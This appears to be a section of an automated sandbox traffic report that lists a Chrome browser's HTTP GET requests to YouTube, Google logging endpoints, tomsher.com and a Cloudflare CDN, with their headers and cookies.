Source: global traffic	HTTP traffic detected: GET /vi/LiEQ_JV0h4w/sddefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/26636eff/player_ias.vflset/en_US/remote.js HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=Ulq4W_fVF31lrJx3QbjNJ1B4W2aqzxvLJE4fe3kzt29nybxiVCdsT4QMq_gKV-110pq7d7AjWQCXpIYK2Z7i871eo9sbQlwJHv2bEttmZhXw255R8WYx56xA1oXC3bu_SoRNpVGSu4VM5mODezk3D3S9OgaQ7Bt2S3zbffXFjVkdr2w_i7EAjfpymQ
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi/hOPpxvP2E28/sddefault.jpg?sqp=-oaymwEmCIAFEOAD8quKqQMa8AEB-AH-CYAC0AWKAgwIABABGGUgWyhIMA8=&rs=AOn4CLB1pwsAn0qkJuzQscocunfjgcf4QA HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi/QJ96N5lUn0c/sddefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/Jo_coLYPcOQ/sddefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=Ulq4W_fVF31lrJx3QbjNJ1B4W2aqzxvLJE4fe3kzt29nybxiVCdsT4QMq_gKV-110pq7d7AjWQCXpIYK2Z7i871eo9sbQlwJHv2bEttmZhXw255R8WYx56xA1oXC3bu_SoRNpVGSu4VM5mODezk3D3S9OgaQ7Bt2S3zbffXFjVkdr2w_i7EAjfpymQ
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=Ulq4W_fVF31lrJx3QbjNJ1B4W2aqzxvLJE4fe3kzt29nybxiVCdsT4QMq_gKV-110pq7d7AjWQCXpIYK2Z7i871eo9sbQlwJHv2bEttmZhXw255R8WYx56xA1oXC3bu_SoRNpVGSu4VM5mODezk3D3S9OgaQ7Bt2S3zbffXFjVkdr2w_i7EAjfpymQ
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=Ulq4W_fVF31lrJx3QbjNJ1B4W2aqzxvLJE4fe3kzt29nybxiVCdsT4QMq_gKV-110pq7d7AjWQCXpIYK2Z7i871eo9sbQlwJHv2bEttmZhXw255R8WYx56xA1oXC3bu_SoRNpVGSu4VM5mODezk3D3S9OgaQ7Bt2S3zbffXFjVkdr2w_i7EAjfpymQ
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=Ulq4W_fVF31lrJx3QbjNJ1B4W2aqzxvLJE4fe3kzt29nybxiVCdsT4QMq_gKV-110pq7d7AjWQCXpIYK2Z7i871eo9sbQlwJHv2bEttmZhXw255R8WYx56xA1oXC3bu_SoRNpVGSu4VM5mODezk3D3S9OgaQ7Bt2S3zbffXFjVkdr2w_i7EAjfpymQ
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.4.2/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /assets/css/bootstrap.min.css HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/css/swiper-bundle.min.css HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
